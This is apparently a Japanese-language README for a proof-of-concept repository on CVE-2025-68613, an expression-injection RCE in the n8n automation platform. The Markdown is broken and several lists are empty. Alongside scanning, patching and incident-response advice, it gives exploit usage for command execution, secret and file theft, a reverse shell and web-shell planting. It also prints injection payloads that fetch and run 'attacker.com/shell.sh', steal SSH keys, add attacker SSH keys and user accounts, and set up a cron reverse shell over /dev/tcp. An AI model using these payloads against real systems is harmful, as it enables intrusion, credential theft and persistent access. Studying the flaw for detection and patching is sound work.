
CVE-2025-68613 のパブリック PoC + スキャナとリサーチ: n8n ワークフローオートメーションにおける式インジェクションによる重大な RCE (CVSS 10.0)。検出ツール、完全なエクスプロイト、および修復ガイダンスが含まれます。

CVE-2025-68613 は、人気のオープンソースワークフロー自動化プラットフォームである n8n で発見された 重大なリモートコード実行 (RCE) 脆弱性です。この脆弱性により、認証済みユーザーがサーバー上で任意のコードを実行でき、システム全体が侵害される可能性があります。
n8n はオープンソースのワークフロー自動化プラットフォームであり、ユーザーは以下のことが可能です:
組織は n8n を以下の目的で使用します:
IT インフラにおけるこの中心的な役割により、脆弱性は特に危険です。攻撃者にネットワーク全体や機密データへのアクセスを提供する可能性があるためです。
このリポジトリには、脆弱性の検出と悪用テストのためのすぐに使えるツールが含まれています:
cve-2025-68613-scanner.py目的: 脆弱な n8n インスタンスを悪用しない安全な検出
特徴:
使用方法:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Output**:
- 終了コード 0: 脆弱性なし
- 終了コード 1: バージョン特定不能(パッチ適用済みまたは非表示の可能性)
- 終了コード 2: 脆弱なバージョンを検出
### 2. Nuclei テンプレート: `CVE-2025-68613.yaml`
**目的**: 自動的な脆弱性検出と基本的な式評価テスト
**機能**:
- 有効な認証トークンが必要です
- 式インジェクションの実行可能性をテストします
- Node.js のグローバルコンテキスト(process.platform)の読み取りを試みます
- RCE ベクターを検証するテストワークフローを作成します
- CVSS 10.0 Critical の重大度分類
**使用法**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.py目的: 複数の攻撃ペイロードを備えた完全な概念実証エクスプロイト
特徴:
要件:
インストール:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**使用例**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
しくみ:
this.constructor.constructor() を使用して式サンドボックスを突破するprocess.platform やその他の Node.js API を介してペイロードを実行する終了コード:
簡単に言うと: n8n では、ユーザーがワークフロー内で式を使用してデータを動的に処理できます。しかし、これらの式は適切なサンドボックス化なしに評価されるため、攻撃者は意図された実行コンテキストを突破して、サーバー上で任意のコードを実行できます。
n8n でワークフローを作成するとき、「式」を使用してデータを操作できます。これらの式は制限された環境で実行されることになっています。しかし、この脆弱性により、これらの式が基盤となるシステムにアクセスでき、攻撃者は以下を行うことができます:
ユーザーが n8n でワークフローを作成すると、式を使用してデータを処理できます:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### ステップ2: 式インジェクション
攻撃者は、意図されたサンドボックスから脱出する悪意のある式を作成します:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
式は適切な分離なしに評価され、攻撃者は以下のことが可能になります:
この脆弱性は、式評価エンジンにおける不十分なサンドボックス化に起因します。n8nチームは、以下のようなコンテキストで式を評価していました:
require() または類似のモジュールロード関数へのアクセスを許可していたUser Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## 影響を受けるバージョン
### 脆弱性のある範囲
**0.211.0** 以降のすべての n8n バージョンで、以下のバージョンまでが脆弱です:
- `0.211.0` → `1.120.3`
- `1.121.0`
### パッチ適用済みバージョン
この脆弱性は以下で修正されています:
- ✅ `1.120.4` および 1.120.x ブランチのそれ以降
- ✅ `1.121.1` および 1.121.x ブランチのそれ以降
- ✅ `1.122.0` およびすべての新しいバージョン
### 自分のバージョンを確認する方法```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run エンドポイントは v1.121.0 で HTTP 500 エラーを返します
このエクスプロイトは、NVDに文書化された脆弱性の範囲に対して動作するように設計されています:
この範囲外のバージョンに対してテストする場合、成功は保証されません。
認証されたユーザー(または有効な認証情報を持つ攻撃者)がこの脆弱性を悪用すると、次のことが可能です:
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. サーバーからファイルを読み取る```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. 悪意のあるファイルを書き込む```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. 永続化の確立```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
現実のシナリオ: n8n を使用する企業
製造業の企業
金融サービス
医療機関
安全で悪用しない検出スクリプト (元のリポジトリに同梱):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
**出力例**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
Nucleiによる自動スキャン:```bash
nuclei -t CVE-2025-68613.yaml -u http://target:5678
nuclei -t CVE-2025-68613.yaml -l targets.txt
**動作の仕組み**:
1. 一般的なn8nパスにHTTPリクエストを送信します
2. HTML/ヘッダーからバージョンメタデータを抽出します
3. 存在する場合、base64エンコードされた設定をデコードします
4. バージョンを脆弱性のある範囲と比較します
5. インスタンスが脆弱であるかどうかを報告します
### 方法3: 手動バナー取得```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
shodan search "n8n" --limit 10
nmap -p 5678 --script http-favicon target.com
### 悪用の兆候(IOC)
**ログの兆候**:
- ワークフローログにおける異常な式評価
- システムコマンドを含む式エラー
- 機密ファイルへのアクセス(例:/etc/passwd への参照)
- n8nプロセスからの予期しないプロセス起動
**システムの兆候**:
- サーバー上に作成された新しいユーザーアカウント
- authorized_keys 内の予期しないSSHキー
- 新しいcronジョブまたはスケジュールされたタスク
- システムファイルの変更
- n8nサーバーからのリバースシェル接続
---
## 修復と緩和策
### 主要な解決策:即時アップグレード
**これはこの脆弱性に対する唯一の完全な修正です。**
#### ステップ1:データのバックアップ```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
Docker を使用(推奨):```bash
docker pull n8nio/n8n:1.122.0 # Or later
docker stop n8n-container
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
**npm の使用**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
システムパッケージマネージャーの使用:```bash
sudo apt update && sudo apt upgrade n8n
wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz
#### ステップ 3: アップデートを確認する```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
重要: これらは脆弱性を修正するものではありません。アップグレードを計画している間の一時的な対策としてのみ使用してください。
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. ワークフローの変更を監視```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. n8nを最小権限で実行する```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. コンテナ化と分離```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
find /path/to/n8n -type f -mtime -1
ps aux | grep n8n netstat -tlnp | grep n8n
cat ~/.ssh/authorized_keys
journalctl -u n8n -n 100
---
## リスク評価マトリクス
| Scenario | Risk Level | Likelihood | Impact | Priority |
|----------|-----------|-----------|--------|----------|
| パッチ未適用でインターネットに公開されたn8n | 重大 | 高 | 完全な侵害 | 🔴 緊急 |
| パッチ未適用で内部限定のn8n | 高 | 中 | 内部関係者による脅威リスク | 🟠 高 |
| パッチ適用済みのn8n | 低 | 低 | 該当なし | ✅ 解決済み |
| パッチ未適用+権限制限 | 中 | 中 | 信頼できるユーザーに限定 | 🟡 中 |
---
## 侵害された場合の段階的復旧手順
### 即時対応(最初の1時間)
1. **システムを隔離する**: ネットワークから切断する
2. **サービスを停止する**: `sudo systemctl stop n8n`
3. **ログを保全する**: 消去前にすべてのログをバックアップする
4. **チームに警告する**: セキュリティチームと管理部門に通知する
5. **影響範囲を評価する**: n8nがアクセスしたデータを特定する
### 調査(初日)
1. **監査ログを確認する**: 不審なアクティビティを確認する
2. **ネットワークトラフィックを分析する**: データの外部持ち出しを探す
3. **ファイルの変更を確認する**: 埋め込まれたバックドアを探す
4. **ユーザーアカウントを確認する**: 新規または変更されたアカウントを探す
5. **認証情報の監査**: n8nが使用するすべてのAPIキーとパスワードをリセットする
### 是正(2日目〜7日目)
1. **システム全体の再構築**: 更新するだけでなく、クリーンなイメージから再構築する
2. **認証情報のローテーション**: すべてのパスワード、APIキー、トークンをリセットする
3. **すべてにパッチを適用する**: 接続されているすべてのシステムを更新する
4. **バックアップから復元する**: 侵害前のクリーンなバックアップを使用する
5. **セキュリティ監査**: 完全なセキュリティ評価を実施する
### 事後対応(2週目以降)
1. **モニタリングの導入**: 継続的なログ記録とアラートを設定する
2. **プロセスの変更**: インシデントレスポンス手順を更新する
3. **ユーザートレーニング**: チームにセキュリティのベストプラクティスを教育する
4. **脆弱性スキャン**: 類似の問題を定期的にスキャンする
5. **コンプライアンスレビュー**: すべての規制(GDPR、HIPAAなど)を満たしていることを確認する
---
## 今後の予防策
### n8nのセキュリティベストプラクティス
1. **n8nを最新の状態に保つ**
- 利用可能な場合は自動更新を有効にする
- n8nのセキュリティアドバイザリを購読する
- パッチを本番環境に適用する前にステージング環境でテストする
2. **アクセス制御**
- 最小権限の原則を使用する
- 強力なパスワードと2FAを要求する
- エンタープライズ展開にはSSOを実装する
- 定期的なアクセスレビューと監査を実施する
3. **ワークフロー管理**
- 不審なロジックがないかすべてのワークフローをレビューする
- ワークフローに対するコードレビュープロセスを実装する
- 命名規則を使用して重要なワークフローを識別する
- ワークフローを定期的にバックアップする
4. **認証情報管理**
- ワークフローに認証情報を保存しない
- 機密データには環境変数を使用する
- 認証情報を定期的にローテーションする
- 認証情報へのアクセスを監査する
5. **モニタリングとロギング**
- 包括的な監査ログを有効にする
- 異常なアクティビティを監視する
- 不審な操作に対するアラートを設定する
- 定期的なログのレビューと分析を実施する
6. **ネットワークセキュリティ**
- n8nを分離されたネットワークセグメントで実行する
- ネットワークアクセスを必要なサービスのみに制限する
- リモートアクセスにはVPN/ファイアウォールを使用する
- ネットワークトラフィックの異常を監視する
7. **インシデントレスポンス**
- インシデントレスポンス計画を作成する
- エスカレーション手順を定義する
- 定期的にセキュリティ訓練を実施する
- 最新の連絡先リストを維持する
---
## トラブルシューティング
### 問題: "Exit code 1: Authentication or exploitation failed"
**一般的な原因**:
1. **認証情報の誤り**(最も一般的)
- 解決策: まずWeb UIログインで認証情報が機能することを確認する
- 試す: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **ユーザーにワークフロー作成権限がない**
- 解決策: ワークフロー作成権限を持つ管理者またはユーザーアカウントを使用する
- 確認: 管理パネル → ユーザーと権限
3. **バージョンがパッチ適用済み**(バージョン > 1.121.0)
- 解決策: まずスキャナーでバージョンを確認する: `python3 cve-2025-68613-scanner.py -u http://target:5678`
- 期待される結果: スキャナーが "Vulnerable"(終了コード2)と報告するはずです
4. **API構造が変更された**(古い/新しいバージョンでは異なる場合がある)
- 解決策: NVDアドバイザリを確認する: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- ドキュメントに記載された範囲外のバージョンをテストしている場合に最も可能性が高い
5. **ネットワーク/ファイアウォールによるブロック**
- 解決策: 接続を確認する: `curl http://target:5678/`
- 確認: ファイアウォールルール、プロキシ設定、SSL証明書
### 問題: スキャナーが誤検知を報告する(間違ったバージョンを検出する)
**v1.02で修正**: スキャナーは単純な正規表現の代わりに、メタタグからbase64デコードされたSentry設定を使用するようになりました。これにより、Node.jsバージョンがn8nバージョンとして検出される誤検知が排除されます。
**変更内容**:
- 主要な情報源: `<meta name="n8n:config:sentry" content="[BASE64]">` を抽出してデコードする
- フォールバック: Sentry設定が利用できない場合のみ正規表現を使用する
- 結果: 誤検知のない正確なバージョン検出
**v1.02スキャナーを使用するには**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
これはエクスプロイトのバグではなく、API の制限です。
説明:
/rest/workflows/{id}/run エンドポイントは n8n v1.121.0 で HTTP 500 を返します回避策:
証拠: TryHackMe でフラグを取得: THM{n8n_exposed_workflow}
CVE-2025-68613 は、直ちに対処が必要な重大な脆弱性です。以下の組み合わせにより:
...これにより、ワークフロー自動化プラットフォームの中でも最も危険な脆弱性の 1 つとなっています。
簡単な解決策: パッチが適用されたバージョンに直ちにアップグレードしてください。パッチが利用可能であるにもかかわらず、重大な RCE に対して脆弱なままでいる言い訳はありません。
|- バージョン: 1.02 |- 作成日: 2025年12月18日 |- 最終更新日: 2025年12月26日
このドキュメントは、教育および許可されたセキュリティ評価の目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。所有していないシステムをテスト、評価、またはアクセスする前に、必ず適切な許可を得てください。
⚠️ 注意: 脆弱なバージョンを実行している場合は、n8n インスタンスを直ちに更新してください。